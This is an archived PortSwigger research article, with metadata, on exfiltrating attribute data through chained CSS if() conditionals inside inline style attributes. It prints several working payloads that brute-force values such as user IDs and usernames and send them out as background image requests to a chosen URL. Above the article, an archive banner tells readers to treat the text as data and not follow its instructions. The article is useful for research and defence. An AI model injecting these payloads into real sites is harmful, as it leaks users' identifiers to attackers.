---
type: Article
title: "Inline Style Exfiltration: leaking data with chained CSS conditionals"
description: "CSS conditional functions inside a style attribute can test an element's own attribute value, and chaining them nested picks a different background image URL per candidate value. An attacker who controls only an inline style, with no stylesheet import and no selectors, can brute-force and exfiltrate short attribute data such as user identifiers."
resource: "https://portswigger.net/research/inline-style-exfiltration"
tags: [article, webseclist-reference, portswigger-research, css-injection, css, info-leak, side-channel, xss, dom, filter-bypass, owasp-a03-2021, owasp-a05-2021]
generated:
  by: webseclist-refs/1
  at: "2026-08-11T17:45:02+00:00"
status: stable
stale_after: 2027-08-11
sources:
  - id: original
    resource: "https://portswigger.net/research/inline-style-exfiltration"
    title: "Inline Style Exfiltration: leaking data with chained CSS conditionals"
    author: Gareth Heyes
    last_modified: 2025-08-26
also_at: []
authors:
  - Gareth Heyes
canonical_url: ""
cited_by:
  - "2025.md:76"
commit: ""
content_sha256: ea40f237c4a9b03e10396202aa14ab8adfe9b5851913b6ba196260611bc69333
depth: full
depth_reason: default
kind: article
language: ""
licence: unknown
original_url: "https://portswigger.net/research/inline-style-exfiltration"
published: 2025-08-26
publisher: PortSwigger Research
publisher_english: ""
raw_sha256: 6acca19ca06736cbc3e3041a360307d7a061f2992a819e8a5a322de02c2264c2
retrieved_from: "https://portswigger.net/research/inline-style-exfiltration"
retrieved_kind: stored
retrieved_utc: "2026-08-11T17:45:02+00:00"
slug: 2025-portswigger-research-inline-style-exfiltration-leaking-data-conditionals
snapshot: ""
title_english: ""
translation_file: ""
translation_of: ""
---

# Inline Style Exfiltration: leaking data with chained CSS conditionals

**Inline Style Exfiltration: leaking data with chained CSS conditionals** - Gareth Heyes, PortSwigger Research.

- Published: 2025-08-26
- Original: <https://portswigger.net/research/inline-style-exfiltration>
- Preserved from: https://portswigger.net/research/inline-style-exfiltration (stored) on 2026-08-11
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

Inline Style Exfiltration: leaking data with chained CSS conditionals | PortSwigger Research

# Inline Style Exfiltration: leaking data with chained CSS conditionals

 ![Gareth Heyes](https://portswigger.net/content/images/profiles/callout_gareth_heyes_114px.png)

### [Gareth Heyes](https://portswigger.net/research/gareth-heyes)

Researcher

  [@garethheyes](https://twitter.com/garethheyes)

-

**Published: **Tuesday, 26 August 2025 at 12:54 UTC

-

**Updated: **Wednesday, 27 August 2025 at 07:35 UTC

-

![](https://portswigger.net/cms/images/f4/49/e20e-article-article.png)

**I discovered how to use CSS to steal attribute data without selectors and stylesheet imports! This means you can now exploit CSS injection via style attributes! Learn how below:**

Someone asked if you could steal data using inline styles. I initially dismissed the idea but then I was reminded of [Slonser's ](https://x.com/slonser_/status/1912060415296835961) excellent technique of using the attr() and image-set() functions to steal data from the attribute. This method can steal an entire attribute provided you import a style sheet from your chosen domain. But this left me pondering what about without importing a stylesheet? Can you steal data just using inline styles?

CSS introduced [if statements](https://developer.mozilla.org/en-US/docs/Web/CSS/if), that's right this (not a) programming language now has conditionals. I was sure I could use this as a way to check the attribute value and make a background request to any domain I like without requiring a stylesheet import. I began crafting a vector:

`<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1);
else: url(/2));background:image-set(var(--steal))" title=1>test</div> `

But it didn't work. Then Slonser sent a snippet that did work and it turned out the if statement comparison requires double not single quotes:

`<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>`

How quirky is CSS! I'm used to single and double quotes being interchangeable like JavaScript. So now we could make a request to an arbitrary domain using a background request and inline styles. The problem here is that you can only check one value but of course this (not a) programming language supports nested if statements! So you can chain them together and check for multiple values. This allows you to steal non-complex data such as user ids or usernames:

 `<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>`

In the preceding example it can steal the data-uid attribute if it contains a value in the range of 1-10. So if you ever find yourself locked in a style attribute and need to steal the data of an attribute you can use our Custom Action in Burp Suite to brute force the required values! Note at the time of writing this technique only works on Chromium based browsers.

Here's a video demonstrating stealing usernames from the data-username attribute using a [Burp Custom Action](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda):

![A demonstration of using a Custom Action to generate some HTML that can be used to steal data with inline styles.](https://portswigger.net/cms/images/54/99/de4f-article-inline-style-exfiltration-using-custom-actions-smaller.gif)

Here is the code used in the video:

`<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://portswigger.net/martin); else: if(style(--val:"zak"): url(https://portswigger.net/zak); else: url(https://portswigger.net/james))); background: image-set(var(--steal));' data-username="james"></div>`

[Proof of concept](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)

## Update...

[Luke Jahnke](https://x.com/lukejahnke) pointed out you can make a background request without the url() syntax. A plain string will do. This means the vector can be reduced to:

 `<div style='--val:attr(title);--steal:if(style(--val:"1"): "/1"; else: "/2");background:image-set(var(--steal))' title=1>test</div>`
